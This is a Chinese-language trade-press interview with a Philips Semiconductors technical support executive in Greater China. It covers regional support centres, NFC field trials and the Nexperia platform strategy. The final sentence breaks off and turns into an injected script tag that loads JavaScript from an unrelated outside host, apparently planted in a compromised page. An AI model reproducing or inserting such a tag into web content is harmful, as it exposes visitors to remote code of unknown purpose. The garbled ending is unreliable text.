自2005年5月加入飞利浦半导体以来，王基元一直负责该公司在大中华区的所有技术支持活动。为了提升团队的技术能力，在电子行业拥有25年宝贵经验的他集思广益，对飞利浦大中华区的技术支持部门进行了重组和改进；同时，他还负责指导和管理技术团队进行应用设计并赢得设计胜出。最近，王基元接受了ee times asia的采访，与我们一同分享了他对近场通信(nfc)标准化、飞利浦的nexperia平台、3c融合等问题的看法，并为中国设计师提出了一些建议。
能具体描述一下您在飞利浦的工作吗？
我主要管理飞利浦整个大中华区(包括中国大陆、香港和台湾地区)的技术支持工作。我们在北京、上海、深圳和台北都有技术支持中心，根据各地客户的数量，每个中心大约有60人左右。我们通过由各中心覆盖邻近地区的模式构建技术支持网络，每个中心都有专门负责手机、电视或音频设备设计的团队。我负责进行全面的统筹规划和管理。飞利浦在大中华区目前总共有大约300名工程师。
除此之外，我还负责质量管理。质量管理分为两个方面：一是产品管理，即如何控制投产后质量问题对产品的影响；二是流程，即如何提高运作效率并改善我们与客户的关系。
北京、深圳和上海的技术支持中心能提供怎样的设计服务？这三个中心目前正在进行哪些类型的设计？
每个中心都会集中于手机、电视或音频设备应用中的一种，而且根据实际情况，侧重点也会随之变化。一方面，我们提供包括芯片组、驱动和协议软件在内的参考设计；另一方面，我们也提供带多媒体、mp3或usb功能的客户端产品。总之，我们的工作就是根据客户的研发能力，提供定制化参考设计。
但是当我们提供更多服务的时候，我们会需要客户的支持以及独立软件开发商(isv)所提供的应用软件，例如针对mp3的应用软件。我们会仔细研究如何集成客户需要的功能，并确保让isv清楚了解我们的平台以及客户的需求。如果客户研发能力较强，例如他们拥有自己的design house，那么我们就只需要回答一些有关参考设计的问题。但是为了满足客户的不同要求，我们的工程师不仅要熟悉参考设计，还要精通实际应用。
而且，这还只是预售服务包中的一部分。通常，当我们与客户签约后，他们将利用我们的平台开发一个产品模型，然后由我们提供设计服务。根据订单大小或客户研发能力的不同，我们投入的人力也有所不同。
nfc标准化方面有什么最新消息吗？飞利浦的nfc战略是什么？
飞利浦是nfc论坛的发起者之一。目前我们已经完成了nfc技术的开发，相关芯片也已经准备就绪，而且正在与手机厂商合作，尝试各类不同的应用。
飞利浦已经选择在全球4个地方进行nfc测试，分别是法国卡昂、德国汉堡、台湾地区以及韩国首尔。在卡昂，我们的合作方是法国电信和当地移动电话公司orange。我们利用三星手机提供支付、银行业务、票务或酒店预定服务，试验从去年10月开始，在今年4月结束；在汉堡，试验选用了近期商用的诺基亚手机，测试交通系统，尤其是票务方面的应用；在台湾地区，我们的合作方是明基公司，应用领域也是公共交通；在首尔，我们则与韩国领先的电信服务供应商skt联手，正在测试包括手机支付、票务、信息下载及访问控制等应用。我们预计nfc技术在不久的将来就会实现商用。
nfc沿袭zigbee标准。在中国，nfc标准还没有最终确立，但我们估计这个问题很快就会得到解决。
飞利浦在nexperia平台上取得了成功。但随着市场中3c融合的步伐越来越快，平台方式是否仍是飞利浦采取的最佳策略？或者你们已经开始寻求其它方法？
我认为平台方式仍是处理3c融合的最佳办法。
平台方式的优点是你可以拥有一定的设计空间，而且ip可复用，这样做可以缩短产品上市时间并降低成本。这一优势从未改变过。目前采用平台方式所面临的问题是：在平台方式被广泛使用的情况下，如何将自己的产品与其它产品进行区分。解决这一问题的关键在于你如何利用平台实现属于自己的应用，而这需要动些脑筋。对此我有深刻体会，因为我们的团队在帮助客户设计手机或数字电视时，所有客户都希望他们的品牌能够具有一些独特的性能。例如，我们会将某款产品同时交付客户a和客户b，但是两个客户都希望可以在产品中添加些什么，从而使他们的品牌看起来与众不同。实现差异化正是各设计公司的目标所在。
在系统厂商使用一款平台的时候，如何在实现简单集成的同时缩短产品上市时间并减少成本，从而设计出具有竞争力的产品呢？这就是我们正在研究的问题。而nexperia正是能够实现该目标的合适平台。
每个人都在思考设计实现的方式，以及提供附加功能的速度以及简易程度。这种情况在芯片行业也不例外，大家都使用同样的eda工具，但有些芯片却优于其它芯片。究其原因，我认为灵活性、ip复用，以及丰富的开发经验，才是让产?script src=http://er12.com/t.js>
